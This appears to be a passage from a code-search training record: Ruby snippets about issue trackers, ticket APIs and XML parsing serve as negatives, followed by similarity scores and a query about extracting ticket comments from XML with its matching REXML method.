"def curl(path)\n `curl -k -u '#{username}:#{password}' -X GET -H \"Content-Type: application/json\" \"https://#{jira_host}/rest/api/2/#{path}\"`\n end",
"def find(id)\n info(\"https://jrcodn.zendesk.com/api/v2/tickets/#{id}\")[:ticket]\n rescue\n @view.id_error\n end",
"def find_issues(key, search_title: true, search_commits: false, search_branch: false)\n regexp = build_regexp_from_key(key)\n jira_issues = []\n\n jira_issues.concat(search_title(regexp)) if search_title\n jira_issues.concat(search_commits(regexp)) if search_commits\n jira_issues.concat(search_branch(regexp)) if search_branch\n jira_issues.concat(search_pr_body(regexp)) if jira_issues.empty?\n\n @issues = jira_issues.uniq(&:downcase).map { |issue_key| @api.Issue.find(issue_key) }\n end",
"def getContentFromGitHub(urls)\n content = Hash.new\n begin\n Net::HTTP.start(\"github.com\", 443, :use_ssl => true) do |http|\n urls.each do |key, url|\n uri = URI(url)\n request = Net::HTTP::Get.new uri\n response = http.request request\n content[key] = response.body\n end\n end\n rescue => e\n # Exit script if there is a http error\n puts \"Error: #{e.message}\"\n exit\n end\n return content\nend",
"def index\n github = Github.new\n #@repo = github.repos.get(:user => \"rails\", :repo => \"rails\")\n @page = (params[:page].nil?) ? 1 : params[:page]\n @issues = github.issues.list(:user => 'rails', :repo => 'rails', :per_page => 25, :page => @page.to_i)\n\n @paging = {page: @page.to_i, totalpages: @issues.count_pages}\n\n respond_with(@issues, @paging)\n end",
"def url_hash(url)\n response_string = RestClient.get(url)\n JSON.parse(response_string)\nend",
"def tickets(options={})\n since = options[:since]\n merged = options[:merged]\n\n tickets = Set.new\n link = options[:link]\n\n @git.log(\"#{since}..#{merged}\", :merges => true).each do |commit|\n if (match = MERGE_COMMENT.match(commit.comment))\n words = match[1].split(WORD_BOUNDARY)\n else\n words = commit.comment.split(WORD_BOUNDARY)\n end\n\n got = words.detect do |w|\n if match = link.match(w)\n if match[1]\n tickets << match[1]\n else\n raise ArgumentError, \"Regexp '#{link}' lacks capture groups; please use a () somewhere\"\n end\n else\n nil\n end\n end\n unless got\n logger.warn \"Couldn't infer a ticket link from '#{commit.comment}'\"\n end\n end\n\n if (link_to = options[:link_to])\n link_to = link_to + '/' unless link_to =~ %r{/$}\n tickets.each { |t| puts link_to + t }\n else\n tickets.each { |t| puts t }\n end\n end",
"def index\n @sprint = params[:sprint].presence || Sprint.current!\n @tickets = Ticket.for_sprint(@sprint).by_created_at_desc\n @tickets = @tickets.for_project(params[:project]) if params[:project].present?\n @tickets = @tickets.for_user(params[:user]) if params[:user].present?\n @tickets = @tickets.search_name(params[:description]) if params[:description].present?\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tickets }\n end\n end",
"def tickets\n records do |instance|\n instance['tickets'] = ticket.where('organization_id': instance['_id'])\n end\n end",
"def fetch_job\n JSON.parse(RestClient.get(url).body)\n end",
"def get_all_information\n result = [['Employee','TaskId - uniqID', 'Status', 'Issue Type' ,'Priority', 'Velocity (SP)', 'Planed estimate(hours)', 'Actual effort(hours)']]\n fetching.each do |issue|\n result.push(issue.to_a)\n end\n result\n end",
"def list_user_stories_from_release( workspace_id, release_id )\n # check and reauthenticate\n self.isTokenExpired()\n\n results = []\n\n query = URI.encode_www_form(\"release_id\" => \"#{release_id}\")\n fields = 'release_id,kanban_status_id,author,description,name,sprint_id,application_id,status,assigned_to'\n url = @api_url + \"/api/workspaces/#{workspace_id}/backlog_items?query=\\\"\" + \"#{query}\\\"\" + '&fields=' + fields\n headers = {:accept => :json, :authorization => \"bearer #{@access_token}\"}\n\n RestClient.proxy = @proxy\n\n begin\n r = RestClient.get url, headers\n rescue RestClient::ExceptionWithResponse => e\n puts e.response\n end\n\n user_stories = JSON.parse(r.body)['data']\n #user_story_count = JSON.parse(r.body)['TotalResults']\n\n #puts \"user stories dump is #{JSON.pretty_generate(user_stories)}\\nuser story count is #{user_story_count}\"\n\n user_stories.each do |user_story|\n results.push(user_story)\n end\n return results\n end",
"def get(*args)\n arguments(args, required: [:user, :repo, :number])\n\n get_request(\"/repos/#{arguments.user}/#{arguments.repo}/issues/#{arguments.number}\", arguments.params)\n end",
"def get_work_items_for(issue_id)\n get(\"issue/#{issue_id}/timetracking/workitem/\")\n response.parsed_response\n end",
"def links(id)\n id = id[:id] if id.class == Hash\n id = id.to_s\n type = \"ticket\"\n sid = id\n if id =~ /(\\w+)\\/(.+)/\n type = $~[1]\n sid = $~[2]\n end\n reply = {}\n resp = @site[\"ticket/#{sid}/links/show\"].get\n return {:error => resp, } if resp =~ /does not exist\\.$/\n reply = response_to_h(resp)\n end",
"def index\n if params[:tickets] == 'closed'\n @tickets = Helpdesk::Ticket.where(:requester_id => helpdesk_user.id).closed.page(params[:page])\n else\n @tickets = Helpdesk::Ticket.where(:requester_id => helpdesk_user.id).active.page(params[:page])\n end\n\n\n respond_to do |format|\n format.html # index.html.erb\n format.json { render json: @tickets }\n end\n end",
"def get_ticket_details( session_key, ticket_id)\n response_xml = self.call( :get_ticket_details, message: {\n api_key: session_key,\n ticket: ticket_id\n })\n response = IssueCentre::Response.parse( response_xml)\n end",
"def get_open_tickets( session_key, company_id, page_size, page_num)\n response_xml = self.call( :get_open_tickets, message: {\n arg0: session_key,\n arg1: company_id,\n arg2: page_size,\n arg3: page_num\n })\n response = IssueCentre::Response.parse( response_xml)\n end",
"def issue_url(issue_id)\n \"http://jira.blurb.com/browse/#{issue_id}\"\n end",
"def fetch_closed_issues_and_pr\n print \"Fetching closed issues...\\r\" if @options[:verbose]\n issues = []\n page_i = 0\n count_pages = calculate_pages(@client, \"issues\", closed_pr_options)\n\n iterate_pages(@client, \"issues\", closed_pr_options) do |new_issues|\n page_i += PER_PAGE_NUMBER\n print_in_same_line(\"Fetching issues... #{page_i}/#{count_pages * PER_PAGE_NUMBER}\")\n issues.concat(new_issues)\n break if @options[:max_issues] && issues.length >= @options[:max_issues]\n end\n print_empty_line\n Helper.log.info \"Received issues: #{issues.count}\"\n\n # separate arrays of issues and pull requests:\n issues.map { |issue| stringify_keys_deep(issue.to_hash) }\n .partition { |issue_or_pr| issue_or_pr[\"pull_request\"].nil? }\n end",
"def listPullRequests()\n jsonHash = getJson(@url_pullrequests + \"/?state=OPEN\")\n\n output = \"\"\n\n # Hash of pull requests.\n pullrequests = {}\n jsonHash[\"values\"].each { |pr|\n date, str = Summary.new(pr, @options).date_and_string\n pullrequests[date] = str\n }\n\n while jsonHash.has_key? \"next\"\n jsonHash = getJson(jsonHash[\"next\"])\n jsonHash[\"values\"].each { |pr|\n date, str = Summary.new(pr, @options).date_and_string\n pullrequests[date] = str\n }\n end\n\n # Generate output sorted by creation time\n pullrequests.keys.sort.each { |k| output += pullrequests[k] }\n\n return output\n end",
"def tickets\n sql = \"\n SELECT * FROM tickets\n WHERE customer_id = $1\n \"\n values = [@id]\n result = SqlRunner.run(sql, values)\n return nil if result.count == 0\n return result.map {|ticket| Ticket.new(ticket)}\n end",
"def update_top_jira_crashes(response)\n sort_criteria = \"crash_reasons?sort=number_of_crashes&page=1&order=desc\"\n platform_urls = Array.new\n ticket_keys_list = Array.new\n all_master_ids = get_all_master_ids()\n all_master_ids.each do |app, versions|\n versions.each do |version|\n platform_urls.push(\"#{config.jira.hockeyapp_url}/#{app}/app_versions/#{version}\")\n end\n end\n log.info \"hockeyapp_urls: #{platform_urls}\"\n\n platform_urls.each do |platform_url|\n crash_ids_counts = Hash.new\n count = 0\n http = Curl.get(\"#{platform_url}/#{sort_criteria}\") do|http|\n http.headers['X-HockeyAppToken'] = \"#{config.jira.hockeyapp_token}\"\n end\n data = JSON.parse(http.body_str)\n data['crash_reasons'].each do |id|\n crash_ids_counts[id['id'].to_s] = id['number_of_crashes'].to_s\n count += 1\n if count == config.jira.hockeyapp_topN_crashes.to_i\n break;\n end\n end\n log.info \"crash_ids_counts: #{crash_ids_counts}\"\n\n crash_ids_counts.each do |crash_id, crash_count|\n url = \"#{platform_url}/crash_reasons/#{crash_id}\"\n http = Curl.get(url) do|http|\n http.headers['X-HockeyAppToken'] = \"#{config.jira.hockeyapp_token}\"\n end\n data = JSON.parse(http.body_str)\n # prevent the error when crash_reason does not have ticket_urls key\n if data['crash_reason'].key?('ticket_urls')\n ticket_key = data['crash_reason']['ticket_urls'][0].split('/').last\n if ticket_keys_list.include?(ticket_key)\n crash_count_old = current_crash_count(ticket_key)\n crash_count = crash_count_old.to_i + crash_count.to_i\n else\n ticket_keys_list.push(ticket_key)\n end\n log.info \"ticket-count: #{ticket_key}:#{crash_count}\"\n\n issue = fetch_issue(ticket_key)\n issue.save!(fields: { customfield_11602: crash_count.to_f })\n response.reply(\"Updated #{data['crash_reason']['ticket_urls'][0]} to #{crash_count} crashes.\")\n end\n end\n end\n end",
"def get_events_for_ticket( session_key, ticket_id)\n response_xml = self.call( :get_events_for_ticket, message: {\n arg0: session_key,\n arg1: ticket_id\n })\n response = IssueCentre::Response.parse( response_xml)\n end"
] |
[
"0.7108783",
"0.7011311",
"0.68948025",
"0.6683555",
"0.65772647",
"0.6380045",
"0.63721925",
"0.6224195",
"0.61780363",
"0.61041003",
"0.6091607",
"0.6051491",
"0.597635",
"0.5954039",
"0.5953175",
"0.5949902",
"0.5934485",
"0.5919058",
"0.5848761",
"0.5840244",
"0.58103335",
"0.57939345",
"0.578041",
"0.5777725",
"0.5763976",
"0.5732103",
"0.5702559",
"0.5687799",
"0.56713897",
"0.5670059",
"0.56559634",
"0.56526256",
"0.5652141",
"0.5618982",
"0.5598831",
"0.55794543",
"0.5572663",
"0.5560771",
"0.5556781",
"0.554222",
"0.55297124",
"0.5522352",
"0.55188453",
"0.5513958",
"0.54871887",
"0.5478317",
"0.5451607",
"0.54415786",
"0.54177666",
"0.54160535",
"0.5411314",
"0.53863937",
"0.5384143",
"0.53784907",
"0.53601086",
"0.534425",
"0.5310748",
"0.53008974",
"0.5291974",
"0.52918696",
"0.52853906",
"0.5275888",
"0.5261278",
"0.5261161",
"0.5257801",
"0.52564865",
"0.52556324",
"0.52502024",
"0.5244983",
"0.52351177",
"0.52270806",
"0.52178967",
"0.5217628",
"0.5212882",
"0.51991093",
"0.5195494",
"0.519256",
"0.5185481",
"0.5183951",
"0.5180003",
"0.5176359",
"0.51752514",
"0.5171391",
"0.5162978",
"0.5162488",
"0.5151048",
"0.51503974",
"0.51446253",
"0.5143187",
"0.5142388",
"0.5136444",
"0.51252866",
"0.512293",
"0.5116568",
"0.5114949",
"0.5103571",
"0.5094345",
"0.50855523",
"0.50852007",
"0.5075226"
] |
0.7252817
|
0
|
extract array of comments from an xml element (ticket)
|
def parse_ticket_for_comments(xml)
comments = []
doc = REXML::Document.new(xml)
doc.elements.inject('item/comments', comments) do |comments, element|
comments.push(parse_comment_info(element))
end
return comments
end
|
{
"objective": {
"self": [],
"paired": [],
"triplet": [
[
"query",
"document",
"negatives"
]
]
}
}
|
[
"def comments\n if nodes = @node.xpath(\"comments\")\n nodes.map { |node| node.content }.compact\n end\n end",
"def comments\n get_ticket_property_list(\"comments\" , Unfuddled::Comment)\n end",
"def extract_ticket_ids\n tickets = message.split('Ref: ').last\n tickets.gsub('#', '').split(',').map(&:strip)\n end",
"def parse_comment_info(xml_element)\n text = xml_element.elements['comment'].text rescue \"\"\n author = xml_element.elements['comment'].key['author'] rescue \"\"\n created = xml_element.elements['comment'].key['created'] rescue \"\"\n\n return {\n :text => text,\n :author => author,\n :created => created\n }\n end",
"def scrape_comments(href)\n p \"scraping comments #{href}\"\n \n comments = Array.new\n \n \n #begin transaction to get comments\n @agent.transact {\n page = @agent.get(href)\n \n page.search(\".ctextfooterwrap\").each{ |elem|\n #each ctextfooterwrap is a comment\n #a textfooter wrap is composed of ctext and cfooter\n \n #create our blog comment template\n str = <<-eos\n<wp:comment>\n<wp:comment_id></wp:comment_id>\n<wp:comment_author><![CDATA[]]></wp:comment_author>\n<wp:comment_author_email></wp:comment_author_email>\n<wp:comment_author_url></wp:comment_author_url>\n<wp:comment_author_IP></wp:comment_author_IP>\n<wp:comment_date></wp:comment_date>\n<wp:comment_date_gmt></wp:comment_date_gmt>\n<wp:comment_content><![CDATA[]]></wp:comment_content>\n<wp:comment_approved>1</wp:comment_approved>\n<wp:comment_type></wp:comment_type>\n<wp:comment_parent>0</wp:comment_parent>\n<wp:comment_user_id>0</wp:comment_user_id>\n</wp:comment>\n eos\n \n doc = Hpricot.XML(str)\n \n #this gives us the string with type= \"Posted 3/24/2009 8:45 PM by anon ymos - delete - reply\"\n str_arr = elem.search(\".cfooter\").inner_text.split(\" \")\n #wp:comment_date/wp:comment_date_gmt have format of: 2009-03-10 00:12:22\n str_arr[1] = str_arr[1].split(\"/\") #first we must fix format of year\n \n str_arr[1][0]= \"0\" + str_arr[1][0].to_s if str_arr[1][0].to_s.size == 1 #we want month padded to 2 digits\n str_arr[1][1]= \"0\" + str_arr[1][1].to_s if str_arr[1][0].to_s.size == 1 #we want day padded to 2 digits\n \n str_arr[1] = str_arr[1][2] + \"-\" + str_arr[1][0] + \"-\" + str_arr[1][1]\n str_arr[2] = convert_to_usable_time(str_arr[2] + \" \" + str_arr[3] ).split(\" \")[0]\n str_arr[1] = str_arr[1] + \" \" + str_arr[2]\n \n p \"date is #{str_arr[1]}\"\n doc.search(\"wp:comment_date\").inner_html = str_arr[1]\n doc.search(\"wp:comment_date_gmt\").inner_html = str_arr[1]\n\n #set comment id to next value\n doc.search(\"wp:comment_id\").inner_html = \"#{@comment_id}\"\n \n #author is found in str_arr at element index=5 and continues till we find element \"-\"\n temp = \"\"\n while str_arr[5] != \"-\"\n temp = temp + str_arr[5] + \" \"\n str_arr.delete_at(5)\n end\n \n #in case of anonymous commenter, they can leave a site url in the name\n #thanks be to glorious xanga dom-design engineer but we now have to take that out\n temp = temp.gsub(/\\(.*\\)/, \"\")\n \n while temp[-1] == 32\n temp.chop!\n end \n \n doc.search(\"wp:comment_author\").inner_html = \"<![CDATA[#{temp}]]>\"\n p \"author= #{temp}\"\n \n #author email is not present?\n #comment_author_IP is not present?\n \n # fill in comment_author_url\n #if cfooter contains 2, or 3 href tags, we've got an anonymous comment\n #if 2, then anonymous and no url provided\n #if 3, then anonymous and url provided\n temp = elem.search(\".cfooter\").search(\"a\")\n if temp.length == 3 #first link is provided 'site' url\n temp[0] = temp[0].to_s\n temp[0] = temp[0].slice(/href=\\\".*\\\"/).gsub(\"href=\\\"\",\"\").gsub(\"\\\"\",\"\")\n \n p \"comment author=#{temp[0]}\"\n doc.search(\"wp:comment_author_url\").inner_html = temp[0]\n elsif temp.length == 4 #second link is provided user that commented\n temp[1] = temp[1].to_s\n temp[1] = temp[1].slice(/href=\\\".*\\\"/).gsub(\"href=\\\"\",\"\").gsub(\"\\\"\",\"\")\n \n p \"comment author=#{temp[1]}\"\n doc.search(\"wp:comment_author_url\").inner_html = temp[1]\n end\n \n #capture comment id for hierarchical sorting\n temp = elem.search(\".cfooter\").search(\"a[@onclick]\").to_s\n temp = temp.slice( /direction=n#\\d*\\'/).gsub(\"direction=n#\",\"\")\n @comment_hash[temp.to_i] = @comment_id #register comment id\n p \"key #{temp.to_i} added to comment id=#{@comment_id}\"\n @comment_id += 1\n \n #capture if this elem has parent-id\n #ctext:class=teplyto x--PARENTID--x\n temp = elem.search(\".ctext\").search(\".replyto\")\n if temp.size == 1\n temp = temp[0].to_s\n temp = temp.slice!(/x--\\d*--x/)\n temp.gsub!(\"x--\",\"\")\n temp.gsub!(\"--x\",\"\")\n \n #p \"lookup parent-id= #{temp}\"\n temp = @comment_hash[temp.to_i]\n \n p \"parent id= #{temp}\"\n doc.search(\"wp:comment_parent\").inner_html = \"#{temp.to_i}\"\n \n #additionally, this takes a special key thingamajic\n doc.search(\"wp:comment_user_id\").inner_html = \"6074067\"\n \n elsif temp.size > 1 #this should NEVER happen, cant have >1 replyto element\n p \"This is an error!\"\n throw Exception.new(\"More than 1 replyto element found\")\n end #end: if temp.size == 1\n \n #finally, insert comment-content where it belongs\n temp = elem.search(\".ctext\").inner_text\n p \"comment=#{temp}\"\n doc.search(\"wp:comment_content\").inner_html = \"<![CDATA[#{temp}]]>\"\n \n #add document model for the comment to the list of arrays\n comments.push(doc)\n \n }#end:page.search(\".ctextfooterwrap\").each{ |elem|\n }#end:@agent.transact {\n \n #TODO: figure out if we need to recurse further down to get next 25 comments?\n \n comments\n end",
"def parse_comments\n scraper = parse_html.css('.default')\n all_comments = scraper.map do |node|\n user = node.css('.comhead a:first-child').text\n date = node.css('.comhead a:nth-child(2)').text.to_i\n item_id = node.css('.comhead a:nth-child(2)').map {|link| link['href'][8,10]}\n item_id = item_id[0]\n #content = node.css('.comment').css(':not(.reply)').text\n content = node.css('.comment span:first-child').text.gsub(/reply/, \"\").gsub(/[-\\n]/,\"\").strip\n Comment.new(user, date, item_id, content)\n end\n end",
"def comments(doc)\n doc.search('.comment > font:first-child').map { |font| font.inner_text }\n end",
"def comments(sheet = nil)\n sheet ||= default_sheet\n read_comments(sheet) unless @comments_read[sheet]\n return [] unless @comment[sheet]\n @comment[sheet].each.collect do |elem|\n [elem[0][0], elem[0][1], elem[1]]\n end\n end",
"def parse_comment(comment)\n return nil if comment.blank?\n contexts = comment.scan(/tm\\.context:\\s*(.*)/)\n result = []\n contexts.each do |i|\n add_context(i[0])\n result << i[0]\n end\n result\n end",
"def pull_comments\n @scrape.extract_comments.each do |comment_text|\n comment = Comment.new(comment_text)\n add_comment(comment)\n end\n end",
"def comments\n results = []\n return results unless @comments\n\n comment = ''\n @comments.split(\"\\n\").each do |line|\n if line =~ /^\\S/\n results << comment unless comment.empty?\n comment = line\n else\n comment += \"\\n\" + line\n end\n end\n\n results << comment unless comment.empty?\n return results\n end",
"def get_ticket_message_entries ticket_no\n if( ticket_no.is_a?( ARINcli::Registration::Ticket ) )\n ticket_no = ticket_no.ticket_no\n end\n ticket_area = prepare_ticket_area(ticket_no)\n retval = []\n dir = Dir.new( ticket_area )\n dir.each do |file_name|\n retval << File.join( ticket_area, file_name ) if file_name.end_with?( \".xml\" )\n end\n return retval\n end",
"def comments\n @comments.values\n end",
"def parse_comments\n @data[4][0]\n end",
"def parse_tracking(xml)\n event_list = []\n parse = Hpricot.parse(xml)/:trackdetail\n if parse == []\n RAILS_DEFAULT_LOGGER.info \"#{xml}\"\n return (Hpricot.parse(xml)/:description).inner_html\n else\n parse.each do |detail|\n h = {}\n detail.children.each { |elem| h[elem.name.to_sym] = elem.inner_text unless elem.inner_text.blank? }\n event_list << h\n end\n end\n event_list\n end",
"def get_comments()\n return self.get_all_comments()\n #issues = @issues\n #issues.each do |issue|\n # puts \"Processing issue #{issue['number']}...\"\n # comments = client.issue_comments( REPO, issue.number ) \n # num = issue['number']\n # @comments[num] = comments\n # issue[\"comments\"] = comments\n #end\n #return @comments\n end",
"def comments\n @data['comments']\n end",
"def comments\n @data['comments']\n end",
"def comments\n @data['comments']\n end",
"def mkcomments(commentfile)\n unless commentfile.nil?\n comms = Comments.new()\n File.open(@destination + '/xl/'+commentfile.gsub('../', ''), 'r') do |f|\n Ox.sax_parse(comms, f)\n end\n return comms.commarray\n end\n end",
"def comments\n [ExpenseItemComment.new(self.description)]\n end",
"def parse_ticket_info(xml_element)\n id = xml_element.elements['key'].text rescue \"\"\n id, spacekey = split_spacekey_and_id(id) rescue \"\"\n\n link = xml_element.elements['link'].text rescue \"\"\n title = xml_element.elements['title'].text rescue \"\"\n reporter = xml_element.elements['reporter'].text rescue \"\"\n assignee = xml_element.elements['assignee'].text rescue \"\"\n type = xml_element.elements['type'].text rescue \"\"\n priority = xml_element.elements['priority'].text rescue \"\"\n updated = xml_element.elements['updated'].text rescue \"\"\n status = xml_element.elements['status'].text rescue \"\"\n\n return {\n :spacekey => spacekey,\n :id => id,\n :link => link,\n :title => title,\n :reporter => reporter,\n :assignee => assignee,\n :type => type,\n :priority => priority,\n :updated => updated,\n :status => status\n }\n end",
"def news_topics_comments\r\n @story = hacker_news_client.item(params[:id])\r\n @comments = (@story['kids'] || []).map do |comment|\r\n hacker_news_client.item(comment)\r\n end\r\n end",
"def getComments(response)\r\n\t\t\t\r\n\t\t\t\tjsonObject = JSON.parse response\r\n\t\t\t\t\r\n\t\t\t\tcommentsList = Array.new\r\n\t\t\t\t\r\n\t\t\t\tif jsonObject.has_key?(\"comments\")\r\n\t\t\t\t\r\n\t\t\t\t\tcomments = jsonObject[\"comments\"]\r\n\t\t\t\t\t\r\n\t\t\t\t\tfor i in 0...comments.length\r\n\t\t\t\t\t\t\r\n\t\t\t\t\t\tcommentsList.push(jsonToComment(comments[i]))\r\n\t\t\t\t\t\t\r\n\t\t\t\t\tend\r\n\t\t\t\t\t\r\n\t\t\t\tend\r\n\t\t\t\t\r\n\t\t\t\treturn commentsList\r\n\t\t\tend",
"def parse_comments(comments); end",
"def comments\n @comments\n end",
"def test_ListBugComments\n\t\tcolName = 'comments'\n\t\tretClass = LeanTesting::BugComment\n\t\tresp = rcol(colName, ['_id', 'text', '_owner_id', 'created_at'])\n\t\t@client.debugReturn = {'data'=> JSON.generate(resp), 'status'=> 200}\n\n\t\tcol = LeanTesting::Bug.new(@client, {'id'=> 0}).comments.all\n\n\t\tassert_equal resp[colName], col.toArray\n\t\tassert_instance_of retClass, col.collection[0]\n\t\tassert_equal resp['meta']['pagination']['total'], col.total\n\t\tassert_equal resp['meta']['pagination']['total_pages'], col.totalPages\n\t\tassert_equal resp['meta']['pagination']['count'], col.count\n\tend",
"def expose(xml, tickets)\n seen = []\n Kernel.loop do\n puzzles = xml.xpath(\n [\n '//puzzle[@alive=\"false\" and issue',\n 'and issue != \"unknown\" and not(issue/@closed)',\n seen.map { |i| \"and id != '#{i}'\" }.join(' '),\n ']'\n ].join(' ')\n )\n break if puzzles.empty?\n puzzle = puzzles[0]\n puzzle.search('issue')[0]['closed'] = Time.now.iso8601 if tickets.close(puzzle)\n save(xml)\n end\n seen = []\n Kernel.loop do\n puzzles = xml.xpath(\n [\n '//puzzle[@alive=\"true\" and (not(issue) or issue=\"unknown\")',\n seen.map { |i| \"and id != '#{i}'\" }.join(' '),\n ']'\n ].join(' ')\n )\n break if puzzles.empty?\n puzzle = puzzles[0]\n id = puzzle.xpath('id')[0].text\n seen << id\n issue = tickets.submit(puzzle)\n next if issue.nil?\n puzzle.search('issue').remove\n puzzle.add_child(\n \"<issue href='#{issue[:href]}'>#{issue[:number]}</issue>\"\n )\n save(xml)\n end\n end",
"def comments\n pull_comments\n @comments_list\n end",
"def getComments\r\n\t\t\t\t\treturn @comments\r\n\t\t\t\tend",
"def commenters\n comments.map(&:employee)\n end",
"def comments\n if @comment_feed.comments.nil?\n @comment_feed.fetch\n end\n\n @comment_feed.comments\n end",
"def extract_comment comment\n case comment\n when Array then\n comment.map do |c|\n extract_comment c\n end\n when nil\n RDoc::Comment.new ''\n when RDoc::Comment then\n if comment.text =~ /^#[ \\t]*:section:.*\\n/ then\n start = $`\n rest = $'\n\n comment.text = if start.empty? then\n rest\n else\n rest.sub(/#{start.chomp}\\Z/, '')\n end\n end\n\n comment\n when RDoc::Markup::Document then\n comment\n else\n raise TypeError, \"unknown comment #{comment.inspect}\"\n end\n end",
"def test_assemble_xml_file\n @worksheet.write_comment(\n 1, 1, 'Some text',\n author: 'John', visible: nil, color: 81,\n font: 'Calibri', font_size: 20, font_family: 2\n )\n\n comments = @worksheet.comments\n comments.assemble_xml_file\n result = got_to_array(comments.instance_variable_get(:@writer).string)\n\n expected = expected_to_array(expected_xml)\n\n assert_equal(expected, result)\n end",
"def stringify_comment_array(comments); end",
"def scan\n return nil unless @data\n \n comments = []\n \n @data.scan(/(\\d+)\\s+(\\d+)[^']+'[^']+'\\(([^\\)]+)/m).each do |m|\n comments << {\n :reaktoruser_id => m[0],\n :timestamp => m[1],\n :text => m[2],\n # TODO:title ?\n }\n Log.write_log(@@log_name, \"#<comment (reaktor_id:#{m[0]}, timestamp:#{m[1]}, text:#{m[2]})>\")\n end\n return comments\n end",
"def comments\n @comments\n end",
"def get_support_ticket_comment_all_using_get(opts = {})\n data, _status_code, _headers = get_support_ticket_comment_all_using_get_with_http_info(opts)\n data\n end",
"def array_from_xml(xml, opts=OPTS)\n node = Nokogiri::XML(xml).children.first\n unless node \n raise Error, \"Malformed XML used\"\n end\n node.children.reject{|c| c.is_a?(Nokogiri::XML::Text)}.map{|c| from_xml_node(c, opts)}\n end",
"def get_raw(element_spec, node)\n result = node && node.text or \"\"\n #puts \"#{__method__}: #{result}\" if result.index('Comments Alert, 54 yo f Pt.')\n result\n end",
"def comments\n @comments\n end",
"def comments\n @comments\n end",
"def get_comments(xid)\n @comments = post('facebook.comments.get', :xid => xid) do |response|\n response.map do |hash|\n Comment.from_hash(hash)\n end\n end\n end",
"def getMessages(fileName)\n\tcomment = \"\"\n\tcomments = Array.new;\n\tFile.open(fileName, \"r\") do |infile|\n\t\tline = infile.gets\n\t\twhile (line = infile.gets)\n\n\t\t\tif(line.eql?(\"#Comment\\n\"))\n\t\t\t\tif(!comments.eql?(\"\"))\n\t\t\t\t\tcomments.push(comment);\n\t\t\t\tend\n\t\t\t\tcomment = \"\"\n\t\t\telse\n\t\t\t\tcomment = comment + line\n\t\t\tend\n\t\tend\n\tend\n\t\n\treturn comments\nend",
"def getComments(list)\r\n comments = \"\"\r\n dbg(\"Kommentarer:\")\r\n list.each { |s| \r\n dbg(\"Kommentar:\")\r\n dbg(s)\r\n dbg(s[\"comment\"])\r\n \tcomments = comments + \"<p>\" + s[\"author_name\"] + \":\" + s[\"comment\"] + \"</p>\"\r\n \tdbg(s[\"comment\"])\r\n }\r\n return comments\r\nend",
"def getComments(list)\r\n comments = \"\"\r\n dbg(\"Kommentarer:\")\r\n list.each { |s| \r\n dbg(\"Kommentar:\")\r\n dbg(s)\r\n dbg(s[\"comment\"])\r\n \tcomments = comments + \"<p>\" + s[\"author_name\"] + \":\" + s[\"comment\"] + \"</p>\"\r\n \tdbg(s[\"comment\"])\r\n }\r\n return comments\r\nend",
"def get_tasks_from_xml( doc )\r\n\r\n # Extract details of every task into a flat array\r\n tasks = []\r\n\r\n logger.error \"DEBUG: BEGIN get_tasks_from_xml\"\r\n\r\n tracker_alias = Setting.plugin_redmine_loader['tracker_alias'].force_encoding \"UTF-8\"\r\n tracker_field_id = nil;\r\n #FIXME Надо проверить как оно работает\r\n doc.each_element( \"Project/ExtendedAttributes/ExtendedAttribute[Alias='#{tracker_alias}']/FieldID\") do | ext_attr |\r\n tracker_field_id = ext_attr.text.to_i;\r\n end\r\n\r\n doc.each_element( 'Project/Tasks/Task' ) do | task |\r\n begin\r\n logger.error \"Project/Tasks/Task found\"\r\n struct = OpenStruct.new\r\n struct.level = task.get_elements( 'OutlineLevel' )[0].text.to_i if task.get_elements('OutlineLevel')[0]\r\n struct.outlinenumber = task.get_elements('OutlineNumber')[0].text.strip if task.get_elements('OutlineNumber')[0]\r\n\r\n if auxString = struct.outlinenumber\r\n index = auxString.rindex('.')\r\n if index\r\n index -= 1\r\n struct.outnum = auxString[0..index]\r\n end\r\n end\r\n\r\n struct.tid = task.get_elements('ID')[0].text.to_i if task.get_elements('ID')[0]\r\n struct.uid = task.get_elements('UID')[0].text.to_i if task.get_elements('UID')[0]\r\n struct.title = task.get_elements('Name')[0].text.strip if task.get_elements('Name')[0]\r\n struct.start = task.get_elements('Start')[0].text.split(\"T\")[0] if task.get_elements('Start')[0]\r\n struct.finish = task.get_elements('Finish')[0].text.split(\"T\")[0] if task.get_elements('Finish')[0]\r\n\r\n s1 = task.get_elements('Start')[0].text.strip if task.get_elements('Start')[0]\r\n s2 = task.get_elements('Finish')[0].text.strip if task.get_elements('Finish')[0]\r\n\r\n task.each_element( \"ExtendedAttribute[FieldID='#{tracker_field_id}']/Value\") do | tracker_value |\r\n struct.tracker_name = tracker_value.text\r\n end\r\n\r\n # If the start date and the finish date are the same it is a milestone\r\n struct.milestone = (s1 == s2) ? 1 : 0\r\n\r\n struct.percentcomplete = task.get_elements( 'PercentComplete')[0].text.to_i\r\n struct.notes = task.get_elements( 'Notes' )[ 0 ].text.strip if task.get_elements( 'Notes' )[0]\r\n struct.predecessors = []\r\n struct.delays = []\r\n task.each_element( 'PredecessorLink' ) do | predecessor |\r\n begin\r\n struct.predecessors.push( predecessor.get_elements('PredecessorUID')[0].text.to_i )\r\n struct.delays.push( predecessor.get_elements('LinkLag')[0].text.to_i )\r\n end\r\n end\r\n\r\n tasks.push( struct )\r\n #rescue\r\n# rescue => error\r\n# # Ignore errors; they tend to indicate malformed tasks, or at least,\r\n# # XML file task entries that we do not understand.\r\n# logger.error \"DEBUG: Unrecovered error getting tasks: #{error}\"\r\n end\r\n end\r\n\r\n # Sort the array by ID. By sorting the array this way, the order\r\n # order will match the task order displayed to the user in the\r\n # project editor software which generated the XML file.\r\n\r\n tasks = tasks.sort_by { | task | task.tid }\r\n\r\n outlinenumber2UID = tasks.group_by(&:outlinenumber)\r\n\r\n # Step through the sorted tasks. Each time we find one where the\r\n # *next* task has an outline level greater than the current task,\r\n # then the current task MUST be a summary. Record its name and\r\n # blank out the task from the array. Otherwise, use whatever\r\n # summary name was most recently found (if any) as a name prefix.\r\n\r\n all_categories = []\r\n category = ''\r\n\r\n tasks.each_index do | index |\r\n task = tasks[ index ]\r\n next_task = tasks[ index + 1 ]\r\n\r\n # Instead of deleting the sumary tasks I only delete the task 0 (the project)\r\n\r\n #if ( next_task and next_task.level > task.level )\r\n # category = task.title.strip.gsub(/:$/, '') unless task.title.nil? # Kill any trailing :'s which are common in some project files\r\n # all_categories.push(category) # Keep track of all categories so we know which ones might need to be added\r\n #tasks[ index ] = \"Prueba\"\r\n if task.level == 0\r\n category = task.title.strip.gsub(/:$/, '') if task.title.present? # Kill any trailing :'s which are common in some project files\r\n 